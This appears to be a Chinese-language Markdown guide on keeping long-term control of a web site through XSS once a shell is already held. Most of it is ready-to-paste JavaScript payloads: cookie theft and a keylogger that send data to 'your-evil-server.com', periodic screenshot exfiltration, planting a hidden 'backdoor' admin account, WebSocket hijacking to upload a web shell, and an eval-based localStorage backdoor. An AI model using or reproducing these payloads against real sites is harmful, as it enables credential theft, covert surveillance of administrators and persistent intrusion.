Files
2025-09-25 03:20:37 +08:00

159 lines
7.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制
**1. 利用 XSS 劫持管理员会话**
这是最直接也最常见的 XSS 攻击方式,但在这里,我们将其作为持久化控制的跳板
- **原理:** 当管理员访问存在 XSS 漏洞的页面时,我们的恶意 JavaScript 代码会执行,并窃取管理员的 `cookie``sessionStorage``localStorage` 等会话信息
- **实现:**
- **WebShell 注入:** 在您已经获取的 Shell 中,找到一个管理员经常访问的、可写入的文件(例如,网站的公共 JS 文件、后台管理页面模板等)
- **插入 Payload** 在该文件中插入以下恶意 JavaScript 代码
JavaScript
```javascript
fetch('http://your-evil-server.com/log.php?cookie=' + document.cookie);
```
- **获取会话:** 当管理员访问该页面时,他们的 `cookie` 就会被发送到您的服务器 `log.php`。您可以用这些 `cookie` 伪造会话,从而以管理员身份登录后台
- **持久化:** 只要您能以管理员身份登录,就可以通过后台修改网站配置,上传新的 WebShell,或者进行其他持久化操作
这种方法的优点是简单直接,但缺点是如果管理员退出登录或会话过期,您需要重新等待下一次捕获
**2. 利用 XSS 注入后台管理页面后门**
这种方法更具隐蔽性和持久性,它旨在直接在后台管理系统中创建可控的“后门”
- **原理:** 很多后台管理系统都允许管理员自定义页面内容、插入自定义代码或编辑模板。我们可以利用 XSS,在管理员的浏览器中执行 JavaScript 代码,悄悄地修改这些配置
- **实现:**
- **自动化操作:** 编写一个 JavaScript 脚本,该脚本可以模拟管理员的点击、表单填写和提交操作
- **创建新用户:** 脚本可以模拟点击“添加用户”按钮,填写一个新的管理员账户信息(例如,用户名:`backdoor`,密码:`P@ssw0rd`),然后点击“保存”
- **修改配置文件:** 脚本还可以模拟打开“系统设置”页面,修改网站的配置,例如允许文件上传、关闭安全限制等
- **注入 Payload** 将这些自动化操作的 JavaScript 代码注入到存在 XSS 的页面。当管理员访问时,脚本会在后台静默执行,完成上述操作
这种方法的优点是,即使管理员会话过期,我们创建的后门用户依然存在,可以随时用于登录
**3. 利用 XSS 劫持 WebSocket 连接**
如果目标网站使用了 WebSocket 来进行实时通信,这也是一个非常高明的攻击点
- **原理:** WebSocket 是一种在客户端和服务器之间建立持久连接的协议。我们可以利用 XSS,劫持 WebSocket 连接,向服务器发送恶意指令
- **实现:**
- **注入 WebSocket 劫持代码:**
JavaScript
```javascript
// 假设原始 WebSocket 连接
var ws = new WebSocket("wss://target.com/websocket");
// 劫持
ws.onmessage = function(event) {
// 在这里可以拦截或修改 WebSocket 消息
console.log("Received message from server: " + event.data);
};
// 发送恶意指令
ws.onopen = function() {
// 假设服务器允许通过 WebSocket 发送命令
ws.send(JSON.stringify({ "command": "upload_shell", "path": "/uploads/backdoor.php" }));
};
```
- **持久化:** 通过劫持 WebSocket,我们可以向服务器发送管理员级别的指令,例如要求服务器上传一个新文件(我们的 WebShell)、执行系统命令、或修改数据库记录
这种方法需要对目标网站的 WebSocket 协议有深入了解,但其威力巨大,可以实现几乎实时的控制
**4. 利用 XSS 注入浏览器的持久化存储**
- **原理:** 浏览器中的 `localStorage` 和 `sessionStorage` 允许网页存储数据。我们可以利用 XSS,将我们的恶意代码或配置存储在这些地方,从而实现持久化
- **实现:**
- **注入 Payload**
JavaScript
```javascript
// 将恶意代码或配置存储到 localStorage
localStorage.setItem('malicious_flag', 'true');
localStorage.setItem('shell_url', 'http://your-evil-server.com/shell.php');
```
- **持久化:** 当管理员再次访问该页面时,我们可以检查 `localStorage` 中的标志,如果存在,则执行后续的恶意操作(例如,加载远程 JS 文件)
**5. 键盘记录**
- **原理:** 键盘记录器利用 JavaScript 监听 DOM 事件,例如 `keydown` 或 `keypress`,当管理员在后台页面输入账号、密码或其他敏感信息时,脚本会捕获这些按键事件,并将输入的数据发送到攻击者的服务器
- **实现:**
1. **注入 Payload** 在您已经拥有 Shell 的前提下,找到一个管理员经常访问的、可写入的 JS 文件。在该文件中注入以下 JavaScript 代码:
```js
// 恶意键盘记录脚本
document.addEventListener('keydown', function(event) {
var key = event.key;
// 将按键数据发送到你的服务器
fetch('http://your-evil-server.com/log.php?key=' + encodeURIComponent(key));
});
```
1. **实时数据捕获:** 当管理员在后台登录表单中输入用户名和密码时,每个按键都会被记录下来,并通过 `fetch` 请求发送到您的服务器
2. **持久化:** 这种方法非常隐蔽,因为脚本在后台静默运行。一旦管理员登录,您不仅能获取他们的账号密码,还能实时监控他们在后台进行的任何操作,例如修改文章、上传文件等
**6. 浏览器屏幕截图**
- **原理:** 利用 HTML5 的 `Canvas` 和 `toDataURL()` 方法,我们可以截取 DOM 元素(例如整个页面)的内容,将其转换为图片数据,并发送给攻击者
- **实现:**
1. **注入 Payload:** 在可写入的 JS 文件中注入以下代码:
```js
// 定时截图并发送
setInterval(function() {
html2canvas(document.body).then(function(canvas) {
// 将 canvas 内容转换为 base64 格式
var imageData = canvas.toDataURL("image/png");
// 将图片数据发送到你的服务器
fetch('http://your-evil-server.com/screenshot.php', {
method: 'POST',
body: JSON.stringify({ image: imageData })
});
});
}, 5000); // 每隔5秒截图一次
```
1. **依赖库:** 需要注意的是,这个方法通常依赖第三方库,例如 `html2canvas.js`。您需要将该库的 JS 文件也注入到目标网站中
2. **实时监控:** 这种方法可以直观地看到管理员在后台的操作界面,包括他们正在编辑的内容、正在上传的文件等,为您的后续攻击提供丰富的上下文信息。
**7. 利用 XSS 注入持久化 localStorage 后门**
这是一种更具隐蔽性的持久化方法,它不依赖于修改网站文件,而是利用浏览器的本地存储功能
- **原理:** 利用 `localStorage` 将恶意代码片段持久化存储在管理员的浏览器中
- **实现:**
1. **一次性注入:** 找到一个XSS漏洞点(例如,一个输入框)。输入以下Payload:
```html
<script>
localStorage.setItem('backdoor', 'your_malicious_javascript_code');
</script>
```
1. **主页面加载器:** 然后在网站的主 JS 文件中,注入一个检查 `localStorage` 的代码:
```js
// 检查是否存在后门代码
var backdoorCode = localStorage.getItem('backdoor');
if (backdoorCode) {
eval(backdoorCode); // 执行后门代码
}
```
1. **持久化:** 只要管理员不清空浏览器缓存,即使您修改的输入框被清理了,后门代码依然会存在于 `localStorage` 中,并在每次页面加载时被执行